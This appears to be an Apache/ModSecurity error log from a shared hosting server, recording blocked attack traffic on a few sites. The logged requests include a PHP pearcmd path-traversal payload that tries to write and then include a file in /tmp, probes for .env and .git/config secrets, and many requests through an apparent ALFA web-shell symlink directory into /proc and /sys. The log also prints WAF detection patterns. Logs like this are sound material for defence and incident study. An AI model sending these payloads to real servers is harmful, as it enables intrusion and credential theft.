[Mon Oct 26 02:24:11.418687 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: High-Risk PHP Function Name Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/public/index.php"] [unique_id "at7yC8sSJ_JPXSgPpTUCPAAAAA4"]
[Mon Oct 26 02:24:11.708638 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\\x22hi\\x22));?>+/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yC8sSJ_JPXSgPpTUCPQAAAA4"]
[Mon Oct 26 02:24:11.789642 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\\x22hi\\x22));?>+/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yC8sSJ_JPXSgPpTUCPQAAAA4"]
[Mon Oct 26 02:24:11.789747 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd& config-create /&/<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yC8sSJ_JPXSgPpTUCPQAAAA4"]
[Mon Oct 26 02:24:11.789845 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd& config-create/&/<?echo(md5(hi)) ?>/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yC8sSJ_JPXSgPpTUCPQAAAA4"]
[Mon Oct 26 02:24:12.005227 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Pattern match "(?:<\\\\?(?!xml\\\\s)|<\\\\?php|\\\\[(?:/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:/<?echo(md5("hi"));?> /tmp/index1.php. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "41"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <? found within ARGS_NAMES:/<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php: /<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yC8sSJ_JPXSgPpTUCPQAAAA4"]
[Mon Oct 26 02:24:12.252811 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yC8sSJ_JPXSgPpTUCPQAAAA4"]
[Mon Oct 26 02:24:12.253457 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: PHP Open Tag Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yC8sSJ_JPXSgPpTUCPQAAAA4"]
[Mon Oct 26 02:24:12.476831 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /index.php?lang=../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yDMsSJ_JPXSgPpTUCPgAAAA4"]
[Mon Oct 26 02:24:12.476956 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yDMsSJ_JPXSgPpTUCPgAAAA4"]
[Mon Oct 26 02:24:12.476989 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yDMsSJ_JPXSgPpTUCPgAAAA4"]
[Mon Oct 26 02:24:12.477402 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yDMsSJ_JPXSgPpTUCPgAAAA4"]
[Mon Oct 26 02:24:12.477657 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yDMsSJ_JPXSgPpTUCPgAAAA4"]
[Mon Oct 26 02:24:38.440600 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 34.225.24.180:41657] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:24:38.765585 2026] [authz_core:error] [pid 2974947:tid 2974947] [client 173.249.253.91:34342] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:24:46.184266 2026] [core:error] [pid 2974954:tid 2974954] (13)Permission denied: [client 18.213.102.186:49014] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/firmware_node/eject
[Mon Oct 26 02:24:54.167409 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 44.205.192.249:2453] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:25:02.304143 2026] [ssl:error] [pid 2978292:tid 2978292] (70014)End of file found: [client 18.215.24.66:2936] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:25:10.143628 2026] [core:error] [pid 2982383:tid 2982383] (13)Permission denied: [client 100.29.63.24:30610] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory20/node0/subsystem/drivers_probe
[Mon Oct 26 02:25:10.232792 2026] [core:error] [pid 2978303:tid 2978303] (13)Permission denied: [client 185.191.171.2:50600] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/poison
[Mon Oct 26 02:25:14.165939 2026] [ssl:error] [pid 2981794:tid 2981794] (70014)End of file found: [client 50.19.102.70:4791] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:25:26.270985 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 52.204.71.8:29402] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:25:36.124961 2026] [security2:error] [pid 2981794:tid 2981794] [client 85.208.96.204:45002] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/13/net/stat/arp_cache"] [unique_id "at7yYHL_JyX_55GWl6UpVQAAAAQ"]
[Mon Oct 26 02:25:36.125005 2026] [security2:error] [pid 2981794:tid 2981794] [client 85.208.96.204:45002] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/13/net/stat/arp_cache"] [unique_id "at7yYHL_JyX_55GWl6UpVQAAAAQ"]
[Mon Oct 26 02:25:38.167898 2026] [ssl:error] [pid 2974947:tid 2974947] (5)Input/output error: [client 52.73.6.26:53417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:25:46.190756 2026] [ssl:error] [pid 2978287:tid 2978287] (70014)End of file found: [client 54.90.8.255:46776] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:25:49.011998 2026] [core:error] [pid 2968016:tid 2968016] (13)Permission denied: [client 185.191.171.16:16938] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pte_list_desc/red_zone
[Mon Oct 26 02:25:50.310883 2026] [ssl:error] [pid 2982383:tid 2982383] (70014)End of file found: [client 54.198.33.233:12869] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:25:54.174661 2026] [ssl:error] [pid 2982378:tid 2982378] (70014)End of file found: [client 18.213.27.222:8710] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:25:58.202613 2026] [ssl:error] [pid 2974947:tid 2974947] (70014)End of file found: [client 18.213.27.222:33102] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:26:00.207253 2026] [ssl:error] [pid 2978294:tid 2978294] (70014)End of file found: [client 85.208.96.209:39788] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:26:06.137284 2026] [ssl:error] [pid 2978287:tid 2978287] (70014)End of file found: [client 34.194.95.99:64685] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:26:18.868200 2026] [security2:error] [pid 2978294:tid 2978294] [client 93.152.223.44:48736] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at7yig03ZrqMAGeX2JaaAgAAAA8"]
[Mon Oct 26 02:26:18.868445 2026] [security2:error] [pid 2978294:tid 2978294] [client 93.152.223.44:48736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at7yig03ZrqMAGeX2JaaAgAAAA8"]
[Mon Oct 26 02:26:19.174893 2026] [security2:error] [pid 2978294:tid 2978294] [client 93.152.223.44:48736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7yig03ZrqMAGeX2JaaAgAAAA8"]
[Mon Oct 26 02:26:20.069041 2026] [security2:error] [pid 2978287:tid 2978287] [client 93.152.223.44:48764] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at7yjLPsc9vz4iO-ovpsmAAAAAU"]
[Mon Oct 26 02:26:20.069275 2026] [security2:error] [pid 2978287:tid 2978287] [client 93.152.223.44:48764] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at7yjLPsc9vz4iO-ovpsmAAAAAU"]
[Mon Oct 26 02:26:20.084075 2026] [security2:error] [pid 2978287:tid 2978287] [client 93.152.223.44:48764] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7yjLPsc9vz4iO-ovpsmAAAAAU"]
[Mon Oct 26 02:26:20.650127 2026] [core:error] [pid 2982383:tid 2982383] (13)Permission denied: [client 85.208.96.212:14020] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_lbr/destroy_by_rcu
[Mon Oct 26 02:26:21.048042 2026] [security2:error] [pid 2974947:tid 2974947] [client 93.152.223.44:48230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at7yjXTk5TnE5TElIbuURwAAAAA"]
[Mon Oct 26 02:26:21.063446 2026] [security2:error] [pid 2974947:tid 2974947] [client 93.152.223.44:48230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at7yjXTk5TnE5TElIbuURwAAAAA"]
[Mon Oct 26 02:26:21.097634 2026] [security2:error] [pid 2974947:tid 2974947] [client 93.152.223.44:48230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7yjXTk5TnE5TElIbuURwAAAAA"]
[Mon Oct 26 02:26:21.612616 2026] [security2:error] [pid 2963542:tid 2963542] [client 93.152.223.44:48252] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at7yjd8riwHadHMxXEF0agAAACU"]
[Mon Oct 26 02:26:21.612938 2026] [security2:error] [pid 2963542:tid 2963542] [client 93.152.223.44:48252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at7yjd8riwHadHMxXEF0agAAACU"]
[Mon Oct 26 02:26:21.672457 2026] [security2:error] [pid 2963542:tid 2963542] [client 93.152.223.44:48252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7yjd8riwHadHMxXEF0agAAACU"]
[Mon Oct 26 02:26:50.138752 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 184.73.239.35:40207] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:26:58.284831 2026] [core:error] [pid 2978292:tid 2978292] (13)Permission denied: [client 44.207.207.36:61722] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory20/node0/subsystem/uevent
[Mon Oct 26 02:26:58.398391 2026] [security2:error] [pid 2963566:tid 2963566] [client 107.172.76.131:51544] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7ypM9if2Wl_DKO7Xa_xAAAADM"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 02:26:58.398455 2026] [security2:error] [pid 2963566:tid 2963566] [client 107.172.76.131:51544] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7ypM9if2Wl_DKO7Xa_xAAAADM"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 02:27:01.061587 2026] [security2:error] [pid 2968016:tid 2968016] [client 85.208.96.196:40986] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/fuse.conf"] [unique_id "at7ytfLdnYlTYsUh9u6rAgAAABk"]
[Mon Oct 26 02:27:01.062030 2026] [security2:error] [pid 2968016:tid 2968016] [client 85.208.96.196:40986] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/fuse.conf"] [unique_id "at7ytfLdnYlTYsUh9u6rAgAAABk"]
[Mon Oct 26 02:27:01.062396 2026] [security2:error] [pid 2968016:tid 2968016] [client 85.208.96.196:40986] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/fuse.conf"] [unique_id "at7ytfLdnYlTYsUh9u6rAgAAABk"]
[Mon Oct 26 02:27:02.306685 2026] [ssl:error] [pid 2982378:tid 2982378] (70014)End of file found: [client 3.218.103.254:18714] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:27:06.293247 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 44.208.193.63:1774] AH02013: coalesce failed to read from data bucket
